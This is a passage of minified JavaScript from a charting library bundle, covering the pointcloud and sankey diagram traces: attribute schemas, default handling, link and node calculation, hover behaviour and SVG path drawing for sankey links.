T=P(t.marker.color),w=P(t.marker.border.color),E=t.opacity*t.marker.opacity;T[3]*=E,this.pointcloudOptions.color=T;var p=t.marker.blend;if(p===null){var A=100;p=r.length<A||f.length<A}this.pointcloudOptions.blend=p,w[3]*=E,this.pointcloudOptions.borderColor=w;var m=t.marker.sizemin,n=Math.max(t.marker.sizemax,t.marker.sizemin);this.pointcloudOptions.sizeMin=m,this.pointcloudOptions.sizeMax=n,this.pointcloudOptions.areaRatio=t.marker.border.arearatio,this.pointcloud.update(this.pointcloudOptions);var C=this.scene.xaxis,x=this.scene.yaxis,I=n/2||.5;t._extremes[C._id]=o(C,[b[0],b[2]],{ppad:I}),t._extremes[x._id]=o(x,[b[1],b[3]],{ppad:I})},d.dispose=function(){this.pointcloud.dispose()};function g(t,r){var f=new S(t,r.uid);return f.update(r),f}te.exports=g},33876:function(te,Z,e){var M=e(71828),P=e(10959);te.exports=function(L,S,d){function g(t,r){return M.coerce(L,S,P,t,r)}g("x"),g("y"),g("xbounds"),g("ybounds"),L.xy&&L.xy instanceof Float32Array&&(S.xy=L.xy),L.indices&&L.indices instanceof Int32Array&&(S.indices=L.indices),g("text"),g("marker.color",d),g("marker.opacity"),g("marker.blend"),g("marker.sizemin"),g("marker.sizemax"),g("marker.border.color",d),g("marker.border.arearatio"),S._length=null}},20593:function(te,Z,e){te.exports={attributes:e(10959),supplyDefaults:e(33876),calc:e(36563),plot:e(42743),moduleType:"trace",name:"pointcloud",basePlotModule:e(4796),categories:["gl","gl2d","showLegend"],meta:{}}},39953:function(te,Z,e){var M=e(41940),P=e(9012),o=e(22399),L=e(77914),S=e(27670).Y,d=e(5386).fF,g=e(50693),t=e(44467).templatedArray,r=e(12663).descriptionOnlyNumbers,f=e(1426).extendFlat,a=e(30962).overrideAll,l=te.exports=a({hoverinfo:f({},P.hoverinfo,{flags:[],arrayOk:!1}),hoverlabel:L.hoverlabel,domain:S({name:"sankey",trace:!0}),orientation:{valType:"enumerated",values:["v","h"],dflt:"h"},valueformat:{valType:"string",dflt:".3s",description:r("value")},valuesuffix:{valType:"string",dflt:""},arrangement:{valType:"enumerated",values:["snap","perpendicular","freeform","fixed"],dflt:"snap"},textfont:M({}),customdata:void 0,node:{label:{valType:"data_array",dflt:[]},groups:{valType:"info_array",impliedEdits:{x:[],y:[]},dimensions:2,freeLength:!0,dflt:[],items:{valType:"number",editType:"calc"}},x:{valType:"data_array",dflt:[]},y:{valType:"data_array",dflt:[]},color:{valType:"color",arrayOk:!0},customdata:{valType:"data_array",editType:"calc"},line:{color:{valType:"color",dflt:o.defaultLine,arrayOk:!0},width:{valType:"number",min:0,dflt:.5,arrayOk:!0}},pad:{valType:"number",arrayOk:!1,min:0,dflt:20},thickness:{valType:"number",arrayOk:!1,min:1,dflt:20},hoverinfo:{valType:"enumerated",values:["all","none","skip"],dflt:"all"},hoverlabel:L.hoverlabel,hovertemplate:d({},{keys:["value","label"]})},link:{arrowlen:{valType:"number",min:0,dflt:0},label:{valType:"data_array",dflt:[]},color:{valType:"color",arrayOk:!0},customdata:{valType:"data_array",editType:"calc"},line:{color:{valType:"color",dflt:o.defaultLine,arrayOk:!0},width:{valType:"number",min:0,dflt:0,arrayOk:!0}},source:{valType:"data_array",dflt:[]},target:{valType:"data_array",dflt:[]},value:{valType:"data_array",dflt:[]},hoverinfo:{valType:"enumerated",values:["all","none","skip"],dflt:"all"},hoverlabel:L.hoverlabel,hovertemplate:d({},{keys:["value","label"]}),colorscales:t("concentrationscales",{editType:"calc",label:{valType:"string",editType:"calc",dflt:""},cmax:{valType:"number",editType:"calc",dflt:1},cmin:{valType:"number",editType:"calc",dflt:0},colorscale:f(g().colorscale,{dflt:[[0,"white"],[1,"black"]]})})}},"calc","nested");l.transforms=void 0},75536:function(te,Z,e){var M=e(30962).overrideAll,P=e(27659).a0,o=e(60436),L=e(528),S=e(6964),d=e(28569),g=e(47322).prepSelect,t=e(71828),r=e(73972),f="sankey";Z.name=f,Z.baseLayoutAttrOverrides=M({hoverlabel:L.hoverlabel},"plot","nested"),Z.plot=function(l){var u=P(l.calcdata,f)[0];o(l,u),Z.updateFx(l)},Z.clean=function(l,u,s,y){var c=y._has&&y._has(f),b=u._has&&u._has(f);c&&!b&&(y._paperdiv.selectAll(".sankey").remove(),y._paperdiv.selectAll(".bgsankey").remove())},Z.updateFx=function(l){for(var u=0;u<l._fullData.length;u++)a(l,u)};function a(l,u){var s=l._fullData[u],y=l._fullLayout,c=y.dragmode,b=y.dragmode==="pan"?"move":"crosshair",h=s._bgRect;if(h&&!(c==="pan"||c==="zoom")){S(h,b);var i={_id:"x",c2p:t.identity,_offset:s._sankey.translateX,_length:s._sankey.width},v={_id:"y",c2p:t.identity,_offset:s._sankey.translateY,_length:s._sankey.height},T={gd:l,element:h.node(),plotinfo:{id:u,xaxis:i,yaxis:v,fillRangeItems:t.noop},subplot:u,xaxes:[i],yaxes:[v],doneFnCompleted:function(w){var E=l._fullData[u],p,A=E.node.groups.slice(),m=[];function n(k){for(var B=E._sankey.graph.nodes,_=0;_<B.length;_++)if(B[_].pointNumber===k)return B[_]}for(var C=0;C<w.length;C++){var x=n(w[C].pointNumber);if(x)if(x.group){for(var I=0;I<x.childrenNodes.length;I++)m.push(x.childrenNodes[I].pointNumber);A[x.pointNumber-E.node._count]=!1}else m.push(x.pointNumber)}p=A.filter(Boolean).concat([m]),r.call("_guiRestyle",l,{"node.groups":[p]},u)}};T.prepFn=function(w,E,p){g(w,E,p,T,c)},d.init(T)}}},92930:function(te,Z,e){var M=e(68664),P=e(71828),o=e(28984).wrap,L=P.isArrayOrTypedArray,S=P.isIndex,d=e(21081);function g(r){var f=r.node,a=r.link,l=[],u=L(a.color),s=L(a.customdata),y={},c={},b=a.colorscales.length,h;for(h=0;h<b;h++){var i=a.colorscales[h],v=d.extractScale(i,{cLetter:"c"}),T=d.makeColorScaleFunc(v);c[i.label]=T}var w=0;for(h=0;h<a.value.length;h++)a.source[h]>w&&(w=a.source[h]),a.target[h]>w&&(w=a.target[h]);var E=w+1;r.node._count=E;var p,A=r.node.groups,m={};for(h=0;h<A.length;h++){var n=A[h];for(p=0;p<n.length;p++){var C=n[p],x=E+h;m.hasOwnProperty(C)?P.warn("Node "+C+" is already part of a group."):m[C]=x}}var I={source:[],target:[]};for(h=0;h<a.value.length;h++){var k=a.value[h],B=a.source[h],_=a.target[h];if(k>0&&S(B,E)&&S(_,E)&&!(m.hasOwnProperty(B)&&m.hasOwnProperty(_)&&m[B]===m[_])){m.hasOwnProperty(_)&&(_=m[_]),m.hasOwnProperty(B)&&(B=m[B]),B=+B,_=+_,y[B]=y[_]=!0;var F="";a.label&&a.label[h]&&(F=a.label[h]);var O=null;F&&c.hasOwnProperty(F)&&(O=c[F]),l.push({pointNumber:h,label:F,color:u?a.color[h]:a.color,customdata:s?a.customdata[h]:a.customdata,concentrationscale:O,source:B,target:_,value:+k}),I.source.push(B),I.target.push(_)}}var z=E+A.length,N=L(f.color),G=L(f.customdata),J=[];for(h=0;h<z;h++)if(y[h]){var q=f.label[h];J.push({group:h>E-1,childrenNodes:[],pointNumber:h,label:q,color:N?f.color[h]:f.color,customdata:G?f.customdata[h]:f.customdata})}var ne=!1;return t(z,I.source,I.target)&&(ne=!0),{circular:ne,links:l,nodes:J,groups:A,groupLookup:m}}function t(r,f,a){for(var l=P.init2dArray(r,0),u=0;u<Math.min(f.length,a.length);u++)if(P.isIndex(f[u],r)&&P.isIndex(a[u],r)){if(f[u]===a[u])return!0;l[f[u]].push(a[u])}var s=M(l);return s.components.some(function(y){return y.length>1})}te.exports=function(f,a){var l=g(a);return o({circular:l.circular,_nodes:l.nodes,_links:l.links,_groups:l.groups,_groupLookup:l.groupLookup})}},85247:function(te){te.exports={nodeTextOffsetHorizontal:4,nodeTextOffsetVertical:3,nodePadAcross:10,sankeyIterations:50,forceIterations:5,forceTicksPerFrame:10,duration:500,ease:"linear",cn:{sankey:"sankey",sankeyLinks:"sankey-links",sankeyLink:"sankey-link",sankeyNodeSet:"sankey-node-set",sankeyNode:"sankey-node",nodeRect:"node-rect",nodeLabel:"node-label"}}},26857:function(te,Z,e){var M=e(71828),P=e(39953),o=e(7901),L=e(84267),S=e(27670).c,d=e(38048),g=e(44467),t=e(85501);te.exports=function(a,l,u,s){function y(n,C){return M.coerce(a,l,P,n,C)}var c=M.extendDeep(s.hoverlabel,a.hoverlabel),b=a.node,h=g.newContainer(l,"node");function i(n,C){return M.coerce(b,h,P.node,n,C)}i("label"),i("groups"),i("x"),i("y"),i("pad"),i("thickness"),i("line.color"),i("line.width"),i("hoverinfo",a.hoverinfo),d(b,h,i,c),i("hovertemplate");var v=s.colorway,T=function(n){return v[n%v.length]};i("color",h.label.map(function(n,C){return o.addOpacity(T(C),.8)})),i("customdata");var w=a.link||{},E=g.newContainer(l,"link");function p(n,C){return M.coerce(w,E,P.link,n,C)}p("label"),p("arrowlen"),p("source"),p("target"),p("value"),p("line.color"),p("line.width"),p("hoverinfo",a.hoverinfo),d(w,E,p,c),p("hovertemplate");var A=L(s.paper_bgcolor).getLuminance()<.333?"rgba(255, 255, 255, 0.6)":"rgba(0, 0, 0, 0.2)";p("color",M.repeat(A,E.value.length)),p("customdata"),t(w,E,{name:"colorscales",handleItemDefaults:r}),S(l,s,y),y("orientation"),y("valueformat"),y("valuesuffix");var m;h.x.length&&h.y.length&&(m="freeform"),y("arrangement",m),M.coerceFont(y,"textfont",M.extendFlat({},s.font)),l._length=null};function r(f,a){function l(u,s){return M.coerce(f,a,P.link.colorscales,u,s)}l("label"),l("cmin"),l("cmax"),l("colorscale")}},29396:function(te,Z,e){te.exports={attributes:e(39953),supplyDefaults:e(26857),calc:e(92930),plot:e(60436),moduleType:"trace",name:"sankey",basePlotModule:e(75536),selectPoints:e(84564),categories:["noOpacity"],meta:{}}},60436:function(te,Z,e){var M=e(39898),P=e(71828),o=P.numberFormat,L=e(3393),S=e(30211),d=e(7901),g=e(85247).cn,t=P._;function r(v){return v!==""}function f(v,T){return v.filter(function(w){return w.key===T.traceId})}function a(v,T){M.select(v).select("path").style("fill-opacity",T),M.select(v).select("rect").style("fill-opacity",T)}function l(v){M.select(v).select("text.name").style("fill","black")}function u(v){return function(T){return v.node.sourceLinks.indexOf(T.link)!==-1||v.node.targetLinks.indexOf(T.link)!==-1}}function s(v){return function(T){return T.node.sourceLinks.indexOf(v.link)!==-1||T.node.targetLinks.indexOf(v.link)!==-1}}function y(v,T,w){T&&w&&f(w,T).selectAll("."+g.sankeyLink).filter(u(T)).call(b.bind(0,T,w,!1))}function c(v,T,w){T&&w&&f(w,T).selectAll("."+g.sankeyLink).filter(u(T)).call(h.bind(0,T,w,!1))}function b(v,T,w,E){var p=E.datum().link.label;E.style("fill-opacity",function(A){if(!A.link.concentrationscale)return .4}),p&&f(T,v).selectAll("."+g.sankeyLink).filter(function(A){return A.link.label===p}).style("fill-opacity",function(A){if(!A.link.concentrationscale)return .4}),w&&f(T,v).selectAll("."+g.sankeyNode).filter(s(v)).call(y)}function h(v,T,w,E){var p=E.datum().link.label;E.style("fill-opacity",function(A){return A.tinyColorAlpha}),p&&f(T,v).selectAll("."+g.sankeyLink).filter(function(A){return A.link.label===p}).style("fill-opacity",function(A){return A.tinyColorAlpha}),w&&f(T,v).selectAll(g.sankeyNode).filter(s(v)).call(c)}function i(v,T){var w=v.hoverlabel||{},E=P.nestedProperty(w,T).get();return Array.isArray(E)?!1:E}te.exports=function(T,w){for(var E=T._fullLayout,p=E._paper,A=E._size,m=0;m<T._fullData.length;m++)if(T._fullData[m].visible&&T._fullData[m].type===g.sankey&&!T._fullData[m]._viewInitial){var n=T._fullData[m].node;T._fullData[m]._viewInitial={node:{groups:n.groups.slice(),x:n.x.slice(),y:n.y.slice()}}}var C=function(ne,fe){var X=fe.link;X.originalEvent=M.event,T._hoverdata=[X],S.click(T,{target:!0})},x=function(ne,fe,X){T._fullLayout.hovermode!==!1&&(M.select(ne).call(b.bind(0,fe,X,!0)),fe.link.trace.link.hoverinfo!=="skip"&&(fe.link.fullData=fe.link.trace,T.emit("plotly_hover",{event:M.event,points:[fe.link]})))},I=t(T,"source:")+" ",k=t(T,"target:")+" ",B=t(T,"concentration:")+" ",_=t(T,"incoming flow count:")+" ",F=t(T,"outgoing flow count:")+" ",O=function(ne,fe){if(T._fullLayout.hovermode===!1)return;var X=fe.link.trace.link;if(X.hoverinfo==="none"||X.hoverinfo==="skip")return;var W=[];function V(re){var le,pe;re.circular?(le=(re.circularPathData.leftInnerExtent+re.circularPathData.rightInnerExtent)/2,pe=re.circularPathData.verticalFullExtent):(le=(re.source.x1+re.target.x0)/2,pe=(re.y0+re.y1)/2);var we=[le,pe];return re.trace.orientation==="v"&&we.reverse(),we[0]+=fe.parent.translateX,we[1]+=fe.parent.translateY,we}for(var Y=0,Q=0;Q<fe.flow.links.length;Q++){var ie=fe.flow.links[Q];if(!(T._fullLayout.hovermode==="closest"&&fe.link.pointNumber!==ie.pointNumber)){fe.link.pointNumber===ie.pointNumber&&(Y=Q),ie.fullData=ie.trace,X=fe.link.trace.link;var j=V(ie),K={valueLabel:o(fe.valueFormat)(ie.value)+fe.valueSuffix};W.push({x:j[0],y:j[1],name:K.valueLabel,text:[ie.label||"",I+ie.source.label,k+ie.target.label,ie.concentrationscale?B+o("%0.2f")(ie.flow.labelConcentration):""].filter(r).join("<br>"),color:i(X,"bgcolor")||d.addOpacity(ie.color,1),borderColor:i(X,"bordercolor"),fontFamily:i(X,"font.family"),fontSize:i(X,"font.size"),fontColor:i(X,"font.color"),nameLength:i(X,"namelength"),textAlign:i(X,"align"),idealAlign:M.event.x<j[0]?"right":"left",hovertemplate:X.hovertemplate,hovertemplateLabels:K,eventData:[ie]})}}var oe=S.loneHover(W,{container:E._hoverlayer.node(),outerContainer:E._paper.node(),gd:T,anchorIndex:Y});oe.each(function(){var re=this;fe.link.concentrationscale||a(re,.65),l(re)})},z=function(ne,fe,X){T._fullLayout.hovermode!==!1&&(M.select(ne).call(h.bind(0,fe,X,!0)),fe.link.trace.link.hoverinfo!=="skip"&&(fe.link.fullData=fe.link.trace,T.emit("plotly_unhover",{event:M.event,points:[fe.link]})),S.loneUnhover(E._hoverlayer.node()))},N=function(ne,fe,X){var W=fe.node;W.originalEvent=M.event,T._hoverdata=[W],M.select(ne).call(c,fe,X),S.click(T,{target:!0})},G=function(ne,fe,X){T._fullLayout.hovermode!==!1&&(M.select(ne).call(y,fe,X),fe.node.trace.node.hoverinfo!=="skip"&&(fe.node.fullData=fe.node.trace,T.emit("plotly_hover",{event:M.event,points:[fe.node]})))},J=function(ne,fe){if(T._fullLayout.hovermode!==!1){var X=fe.node.trace.node;if(!(X.hoverinfo==="none"||X.hoverinfo==="skip")){var W=M.select(ne).select("."+g.nodeRect),V=T._fullLayout._paperdiv.node().getBoundingClientRect(),Y=W.node().getBoundingClientRect(),Q=Y.left-2-V.left,ie=Y.right+2-V.left,j=Y.top+Y.height/4-V.top,K={valueLabel:o(fe.valueFormat)(fe.node.value)+fe.valueSuffix};fe.node.fullData=fe.node.trace,T._fullLayout._calcInverseTransform(T);var oe=T._fullLayout._invScaleX,re=T._fullLayout._invScaleY,le=S.loneHover({x0:oe*Q,x1:oe*ie,y:re*j,name:o(fe.valueFormat)(fe.node.value)+fe.valueSuffix,text:[fe.node.label,_+fe.node.targetLinks.length,F+fe.node.sourceLinks.length].filter(r).join("<br>"),color:i(X,"bgcolor")||fe.tinyColorHue,borderColor:i(X,"bordercolor"),fontFamily:i(X,"font.family"),fontSize:i(X,"font.size"),fontColor:i(X,"font.color"),nameLength:i(X,"namelength"),textAlign:i(X,"align"),idealAlign:"left",hovertemplate:X.hovertemplate,hovertemplateLabels:K,eventData:[fe.node]},{container:E._hoverlayer.node(),outerContainer:E._paper.node(),gd:T});a(le,.85),l(le)}}},q=function(ne,fe,X){T._fullLayout.hovermode!==!1&&(M.select(ne).call(c,fe,X),fe.node.trace.node.hoverinfo!=="skip"&&(fe.node.fullData=fe.node.trace,T.emit("plotly_unhover",{event:M.event,points:[fe.node]})),S.loneUnhover(E._hoverlayer.node()))};L(T,p,w,{width:A.w,height:A.h,margin:{t:A.t,r:A.r,b:A.b,l:A.l}},{linkEvents:{hover:x,follow:O,unhover:z,select:C},nodeEvents:{hover:G,follow:J,unhover:q,select:N}})}},3393:function(te,Z,e){var M=e(49887),P=e(81684).k4,o=e(39898),L=e(30838),S=e(86781),d=e(85247),g=e(84267),t=e(7901),r=e(91424),f=e(71828),a=f.strTranslate,l=f.strRotate,u=e(28984),s=u.keyFun,y=u.repeat,c=u.unwrap,b=e(63893),h=e(73972),i=e(18783),v=i.CAP_SHIFT,T=i.LINE_SPACING,w=3;function E(V,Y,Q){var ie=c(Y),j=ie.trace,K=j.domain,oe=j.orientation==="h",re=j.node.pad,le=j.node.thickness,pe=V.width*(K.x[1]-K.x[0]),we=V.height*(K.y[1]-K.y[0]),xe=ie._nodes,ke=ie._links,_e=ie.circular,be;_e?be=S.sankeyCircular().circularLinkGap(0):be=L.sankey(),be.iterations(d.sankeyIterations).size(oe?[pe,we]:[we,pe]).nodeWidth(le).nodePadding(re).nodeId(function(bt){return bt.pointNumber}).nodes(xe).links(ke);var ge=be();be.nodePadding()<re&&f.warn("node.pad was reduced to ",be.nodePadding()," to fit within the figure.");var Te,Fe,Oe;for(var Ce in ie._groupLookup){var Be=parseInt(ie._groupLookup[Ce]),$e;for(Te=0;Te<ge.nodes.length;Te++)if(ge.nodes[Te].pointNumber===Be){$e=ge.nodes[Te];break}if($e){var Xe={pointNumber:parseInt(Ce),x0:$e.x0,x1:$e.x1,y0:$e.y0,y1:$e.y1,partOfGroup:!0,sourceLinks:[],targetLinks:[]};ge.nodes.unshift(Xe),$e.childrenNodes.unshift(Xe)}}function Ze(){for(Te=0;Te<ge.nodes.length;Te++){var bt=ge.nodes[Te],Ot={},Ge,Le;for(Fe=0;Fe<bt.targetLinks.length;Fe++)Le=bt.targetLinks[Fe],Ge=Le.source.pointNumber+":"+Le.target.pointNumber,Ot.hasOwnProperty(Ge)||(Ot[Ge]=[]),Ot[Ge].push(Le);var Pe=Object.keys(Ot);for(Fe=0;Fe<Pe.length;Fe++){Ge=Pe[Fe];var De=Ot[Ge],Ee=0,ye={};for(Oe=0;Oe<De.length;Oe++)Le=De[Oe],ye[Le.label]||(ye[Le.label]=0),ye[Le.label]+=Le.value,Ee+=Le.value;for(Oe=0;Oe<De.length;Oe++)Le=De[Oe],Le.flow={value:Ee,labelConcentration:ye[Le.label]/Ee,concentration:Le.value/Ee,links:De},Le.concentrationscale&&(Le.color=g(Le.concentrationscale(Le.flow.labelConcentration)))}var ae=0;for(Fe=0;Fe<bt.sourceLinks.length;Fe++)ae+=bt.sourceLinks[Fe].value;for(Fe=0;Fe<bt.sourceLinks.length;Fe++)Le=bt.sourceLinks[Fe],Le.concentrationOut=Le.value/ae;var de=0;for(Fe=0;Fe<bt.targetLinks.length;Fe++)de+=bt.targetLinks[Fe].value;for(Fe=0;Fe<bt.targetLinks.length;Fe++)Le=bt.targetLinks[Fe],Le.concenrationIn=Le.value/de}}Ze();function Ke(bt){bt.forEach(function(Ot){var Ge,Le,Pe=0,De=Ot.length,Ee;for(Ot.sort(function(ye,ae){return ye.y0-ae.y0}),Ee=0;Ee<De;++Ee)Ge=Ot[Ee],Ge.y0>=Pe||(Le=Pe-Ge.y0,Le>1e-6&&(Ge.y0+=Le,Ge.y1+=Le)),Pe=Ge.y1+re})}function st(bt){var Ot=bt.map(function(ae,de){return{x0:ae.x0,index:de}}).sort(function(ae,de){return ae.x0-de.x0}),Ge=[],Le=-1,Pe,De=-1/0,Ee;for(Te=0;Te<Ot.length;Te++){var ye=bt[Ot[Te].index];ye.x0>De+le&&(Le+=1,Pe=ye.x0),De=ye.x0,Ge[Le]||(Ge[Le]=[]),Ge[Le].push(ye),Ee=Pe-ye.x0,ye.x0+=Ee,ye.x1+=Ee}return Ge}if(j.node.x.length&&j.node.y.length){for(Te=0;Te<Math.min(j.node.x.length,j.node.y.length,ge.nodes.length);Te++)if(j.node.x[Te]&&j.node.y[Te]){var lt=[j.node.x[Te]*pe,j.node.y[Te]*we];ge.nodes[Te].x0=lt[0]-le/2,ge.nodes[Te].x1=lt[0]+le/2;var ut=ge.nodes[Te].y1-ge.nodes[Te].y0;ge.nodes[Te].y0=lt[1]-ut/2,ge.nodes[Te].y1=lt[1]+ut/2}if(j.arrangement==="snap"){xe=ge.nodes;var yt=st(xe);Ke(yt)}be.update(ge)}return{circular:_e,key:Q,trace:j,guid:f.randstr(),horizontal:oe,width:pe,height:we,nodePad:j.node.pad,nodeLineColor:j.node.line.color,nodeLineWidth:j.node.line.width,linkLineColor:j.link.line.color,linkLineWidth:j.link.line.width,linkArrowLength:j.link.arrowlen,valueFormat:j.valueformat,valueSuffix:j.valuesuffix,textFont:j.textfont,translateX:K.x[0]*V.width+V.margin.l,translateY:V.height-K.y[1]*V.height+V.margin.t,dragParallel:oe?we:pe,dragPerpendicular:oe?pe:we,arrangement:j.arrangement,sankey:be,graph:ge,forceLayouts:{},interactionState:{dragInProgress:!1,hovered:!1}}}function p(V,Y,Q){var ie=g(Y.color),j=Y.source.label+"|"+Y.target.label,K=j+"__"+Q;return Y.trace=V.trace,Y.curveNumber=V.trace.index,{circular:V.circular,key:K,traceId:V.key,pointNumber:Y.pointNumber,link:Y,tinyColorHue:t.tinyRGB(ie),tinyColorAlpha:ie.getAlpha(),linkPath:m,linkLineColor:V.linkLineColor,linkLineWidth:V.linkLineWidth,linkArrowLength:V.linkArrowLength,valueFormat:V.valueFormat,valueSuffix:V.valueSuffix,sankey:V.sankey,parent:V,interactionState:V.interactionState,flow:Y.flow}}function A(V,Y){var Q="",ie=V.width/2,j=V.circularPathData;return V.circularLinkType==="top"?Q="M "+(j.targetX-Y)+" "+(j.targetY+ie)+" L"+(j.rightInnerExtent-Y)+" "+(j.targetY+ie)+"A"+(j.rightLargeArcRadius+ie)+" "+(j.rightSmallArcRadius+ie)+" 0 0 1 "+(j.rightFullExtent-ie-Y)+" "+(j.targetY-j.rightSmallArcRadius)+"L"+(j.rightFullExtent-ie-Y)+" "+j.verticalRightInnerExtent+"A"+(j.rightLargeArcRadius+ie)+" "+(j.rightLargeArcRadius+ie)+" 0 0 1 "+(j.rightInnerExtent-Y)+" "+(j.verticalFullExtent-ie)+"L"+j.leftInnerExtent+" "+(j.verticalFullExtent-ie)+"A"+(j.leftLargeArcRadius+ie)+" "+(j.leftLargeArcRadius+ie)+" 0 0 1 "+(j.leftFullExtent+ie)+" "+j.verticalLeftInnerExtent+"L"+(j.leftFullExtent+ie)+" "+(j.sourceY-j.leftSmallArcRadius)+"A"+(j.leftLargeArcRadius+ie)+" "+(j.leftSmallArcRadius+ie)+" 0 0 1 "+j.leftInnerExtent+" "+(j.sourceY+ie)+"L"+j.sourceX+" "+(j.sourceY+ie)+"L"+j.sourceX+" "+(j.sourceY-ie)+"L"+j.leftInnerExtent+" "+(j.sourceY-ie)+"A"+(j.leftLargeArcRadius-ie)+" "+(j.leftSmallArcRadius-ie)+" 0 0 0 "+(j.leftFullExtent-ie)+" "+(j.sourceY-j.leftSmallArcRadius)+"L"+(j.leftFullExtent-ie)+" "+j.verticalLeftInnerExtent+"A"+(j.leftLargeArcRadius-ie)+" "+(j.leftLargeArcRadius-ie)+" 0 0 0 "+j.leftInnerExtent+" "+(j.verticalFullExtent+ie)+"L"+(j.rightInnerExtent-Y)+" "+(j.verticalFullExtent+ie)+"A"+(j.rightLargeArcRadius-ie)+" "+(j.rightLargeArcRadius-ie)+" 0 0 0 "+(j.rightFullExtent+ie-Y)+" "+j.verticalRightInnerExtent+"L"+(j.rightFullExtent+ie-Y)+" "+(j.targetY-j.rightSmallArcRadius)+"A"+(j.rightLargeArcRadius-ie)+" "+(j.rightSmallArcRadius-ie)+" 0 0 0 "+(j.rightInnerExtent-Y)+" "+(j.targetY-ie)+"L"+(j.targetX-Y)+" "+(j.targetY-ie)+(Y>0?"L"+j.targetX+" "+j.targetY:"")+"Z":Q="M "+(j.targetX-Y)+" "+(j.targetY-ie)+" L"+(j.rightInnerExtent-Y)+" "+(j.targetY-ie)+"A"+(j.rightLargeArcRadius+ie)+" "+(j.rightSmallArcRadius+ie)+" 0 0 0 "+(j.rightFullExtent-ie-Y)+" "+(j.targetY+j.rightSmallArcRadius)+"L"+(j.rightFullExtent-ie-Y)+" "+j.verticalRightInnerExtent+"A"+(j.rightLargeArcRadius+ie)+" "+(j.rightLargeArcRadius+ie)+" 0 0 0 "+(j.rightInnerExtent-Y)+" "+(j.verticalFullExtent+ie)+"L"+j.leftInnerExtent+" "+(j.verticalFullExtent+ie)+"A"+(j.leftLargeArcRadius+ie)+" "+(j.leftLargeArcRadius+ie)+" 0 0 0 "+(j.leftFullExtent+ie)+" "+j.verticalLeftInnerExtent+"L"+(j.leftFullExtent+ie)+" "+(j.sourceY+j.leftSmallArcRadius)+"A"+(j.leftLargeArcRadius+ie)+" "+(j.leftSmallArcRadius+ie)+" 0 0 0 "+j.leftInnerExtent+" "+(j.sourceY-ie)+"L"+j.sourceX+" "+(j.sourceY-ie)+"L"+j.sourceX+" "+(j.sourceY+ie)+"L"+j.leftInnerExtent+" "+(j.sourceY+ie)+"A"+(j.leftLargeArcRadius-ie)+" "+(j.leftSmallArcRadius-ie)+" 0 0 1 "+(j.leftFullExtent-ie)+" "+(j.sourceY+j.leftSmallArcRadius)+"L"+(j.leftFullExtent-ie)+" "+j.verticalLeftInnerExtent+"A"+(j.leftLargeArcRadius-ie)+" "+(j.leftLargeArcRadius-ie)+" 0 0 1 "+j.leftInnerExtent+" "+(j.verticalFullExtent-ie)+"L"+(j.rightInnerExtent-Y)+" "+(j.verticalFullExtent-ie)+"A"+(j.rightLargeArcRadius-ie)+" "+(j.rightLargeArcRadius-ie)+" 0 0 1 "+(j.rightFullExtent+ie-Y)+" "+j.verticalRightInnerExtent+"L"+(j.rightFullExtent+ie-Y)+" "+(j.targetY+j.rightSmallArcRadius)+"A"+(j.rightLargeArcRadius-ie)+" "+(j.rightSmallArcRadius-ie)+" 0 0 1 "+(j.rightInnerExtent-Y)+" "+(j.targetY+ie)+"L"+(j.targetX-Y)+" "+(j.targetY+ie)+(Y>0?"L"+j.targetX+" "+j.targetY:"")+"Z",Q}function m(){var V=.5;function Y(Q){var ie=Q.linkArrowLength;if(Q.link.circular)return A(Q.link,ie);var j=Math.abs((Q.link.target.x0-Q.link.source.x1)/2);ie>j&&(ie=j);var K=Q.link.source.x1,oe=Q.link.target.x0-ie,re=P(K,oe),le=re(V),pe=re(1-V),we=Q.link.y0-Q.link.width/2,xe=Q.link.y0+Q.link.width/2,ke=Q.link.y1-Q.link.width/2,_e=Q.link.y1+Q.link.width/2,be="M"+K+","+we,ge="C"+le+","+we+" "+pe+","+ke+" "+oe+","+ke,Te="C"+pe+","+_e+" "+le+","+xe+" "+K+","+xe,Fe=ie>0?"L"+(oe+ie)+","+(ke+Q.link.width/2):"";return Fe+="L"+oe+","+_e,be+ge+Fe+Te+"Z"}return Y}function n(V,Y){var Q=g(Y.color),ie=d.nodePadAcross,j=V.nodePad/2;Y.dx=Y.x1-Y.x0,Y.dy=Y.y1-Y.y0;var K=Y.dx,oe=Math.max(.5,Y.dy),re="node_"+Y.pointNumber;return Y.group&&(re=f.randstr()),Y.trace=V.trace,Y.curveNumber=V.trace.index,{index:Y.pointNumber,key:re,partOfGroup:Y.partOfGroup||!1,group:Y.group,traceId:V.key,trace:V.trace,node:Y,nodePad:V.nodePad,nodeLineColor:V.nodeLineColor,nodeLineWidth:V.nodeLineWidth,textFont:V.textFont,size:V.horizontal?V.height:V.width,visibleWidth:Math.ceil(K),visibleHeight:oe,zoneX:-ie,zoneY:-j,zoneWidth:K+2*ie,zoneHeight:oe+2*j,labelY:V.horizontal?Y.dy/2+1:Y.dx/2+1,left:Y.originalLayer===1,sizeAcross:V.width,forceLayouts:V.forceLayouts,horizontal:V.horizontal,darkBackground:Q.getBrightness()<=128,tinyColorHue:t.tinyRGB(Q),tinyColorAlpha:Q.getAlpha(),valueFormat:V.valueFormat,valueSuffix:V.valueSuffix,sankey:V.sankey,graph:V.graph,arrangement:V.arrangement,uniqueNodeLabelPathId:[V.guid,V.key,re].join("_"),interactionState:V.interactionState,figure:V}}function C(V){V.attr("transform",function(Y){return a(Y.node.x0.toFixed(3),Y.node.y0.toFixed(3))})}function x(V){V.call(C)}function I(V,Y){V.call(x),Y.attr("d",m())}function k(V){V.attr("width",function(Y){return Y.node.x1-Y.node.x0}).attr("height",function(Y){return Y.visibleHeight})}function B(V){return V.link.width>1||V.linkLineWidth>0}function _(V){var Y=a(V.translateX,V.translateY);return Y+(V.horizontal?"matrix(1 0 0 1 0 0)":"matrix(0 1 1 0 0 0)")}function F(V,Y,Q){V.on(".basic",null).on("mouseover.basic",function(ie){!ie.interactionState.dragInProgress&&!ie.partOfGroup&&(Q.hover(this,ie,Y),ie.interactionState.hovered=[this,ie])}).on("mousemove.basic",function(ie){!ie.interactionState.dragInProgress&&!ie.partOfGroup&&(Q.follow(this,ie),ie.interactionState.hovered=[this,ie])}).on("mouseout.basic",function(ie){!ie.interactionState.dragInProgress&&!ie.partOfGroup&&(Q.unhover(this,ie,Y),ie.interactionState.hovered=!1)}).on("click.basic",function(ie){ie.interactionState.hovered&&(Q.unhover(this,ie,Y),ie.interactionState.hovered=!1),!ie.interactionState.dragInProgress&&!ie.partOfGroup&&Q.select(this,ie,Y)})}function O(V,Y,Q,ie){var 